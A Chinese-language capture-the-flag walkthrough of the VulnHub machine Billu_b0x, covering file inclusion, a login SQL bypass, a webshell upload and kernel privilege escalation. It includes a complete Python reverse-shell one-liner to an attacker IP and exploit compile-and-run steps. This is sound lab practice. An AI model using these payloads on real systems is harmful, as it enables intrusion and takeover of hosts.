0x11-VulnHub靶机-Billu_b0x
环境
靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip
内容
-
SQL注入 (sqlmap跑不出来 )
-
文件包含 (会将php代码 解析 执行结果显示给我们)
-
文件上传
-
任意文件下载 (将php源码显示给我们 )
-
内核提权
操作
信息收集
常规的nmap 主机发现 端口扫描 开放22 80
访问80发现个登录界面 上面写着 但是我用sqlmap去跑 没跑出来诶

然后就是目录扫描了 扫出来的东西还挺多

add.php 是个上传功能 但是测试了一下 上传图片也没什么变化

/in是phpinfo
/phpmy 是一个数据库的登录界面 弱口令也进不去

/test.php 下面的提示看起来可以利用一下 试着去get请求传参发现不行 就改为post

更换请求方式 (get post 要用burp的change request method 而不是直接该抓包的内容 (你直接改 有些细节的变化 导致执行不出原本的结果 )

发现用post去传参就可以

文件下载与文件包含
我用这种方式去访问 给我回显的是源码 那这应该就是任意文件下载 (加上用hackerbar去传参 下载了 )
文件包含是会将页面解析出来 你可以看到phpinfo的页面 看不到php代码

这个时候我们可以看到页面的源码了 知道他的功能是怎么写的 就相当于白盒绕过了
进入后台 思路一 源码审计
我们去看看那个登录界面是怎么写的

尝试绕过 然后登录进去
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
就相当于
$run='select * from auth where pass='.$pass.' and uname='.$uname.'';
uname ' or 1=1#
pass \ (为啥这个要是 \ 啊 md 不理解 )
进入后台 思路二 进入数据库管理界面
给file继续传参 当传入c.php(dirsearch扫出来的) 发现了数据库的账号密码 通过那个数据库的登录界面登入进去 (没有我们就无法登 因为mysql默认不支持外连)

进入后 发现版本了 比较低 去网上找 phpmyadmin 3.4.7后台 但是浅浅试了试 get不了shell
再去翻一翻有没有什么别敏感信息 发了个账号密码 然后可以直接进入后台

思路三
使用sql注入的一些万能密码的payload结合burp进行注入
因为这个过程需要用到很多的payload,直接显示找到了万能密码的payload文件
seclists中的sql的payload文件,/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt(对应username)
burp专业版中自带的针对SQL注入的字典(对应password)
后台
通过找到账号密码 or 万能密码进入后台了
发现有个上传的点 而且与之前那个add.php 一样
简单试了 绕不过
但是这里面的 load 参数就很有意思 他传什么 页面就会发生变化 而且这个参数值都是在dirsearch扫描时候发现有的


我去传入那个in.php发现

再去试了passwd 也给我显示出来了 确定了这个参数存在文件包含漏洞 (像文件包含 你就看不到php的源码 只可以看到解析出来的页面 
文件包含+文件上传
这里我们有了文件包含漏洞 而且有上传的功能点 我们可以上传一个带🐎的合法文件 然后再去包含这个文件 由于存在文件包含漏洞 所以这个文件就会以php脚本去解析 然后🐎就生效了
他会检查文件头

但是看不到phpinfo的内容(因为我添加GIF89a头部的原因?) 傻逼了 (肯定不可以直接去访问 要用给参数传参去包含

应该这样去 但是还是没看到phpinfo的页面?

直接传🐎试试
// 用get
然后可以用nc去反弹shell 先kali监听 是能够通的 但是我常规的连不了 试试 nc串联 也不行

用python的可以 但是要url编码
export RHOST="192.168.3.120";export RPORT=9002;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

提权
suid sudo 都没啥
uname -a 发现内核版本低

searchsploit 3.13.0

把 文件cp 到桌面 然后再wget下到目标主机
再编译 gcc 37292.c -o exp chmod+x exp 再运行

项目
用 https://github.com/carlospolop/PEASS-ng 也直接搞出了这个root的密码

也提示了可以用这类内核漏洞

被忽略的点
在可以看任意文件代码的时候,应该把所有的目录都跑一边,然后每一个文件都去看一看有什么
在这个靶机中 在phpmy目录下存在着一个文件 直接由root的密码 然后就可以直接通过ssh去连接
但我压根就没想过要去扫 /phpmy

直接拿到root啊
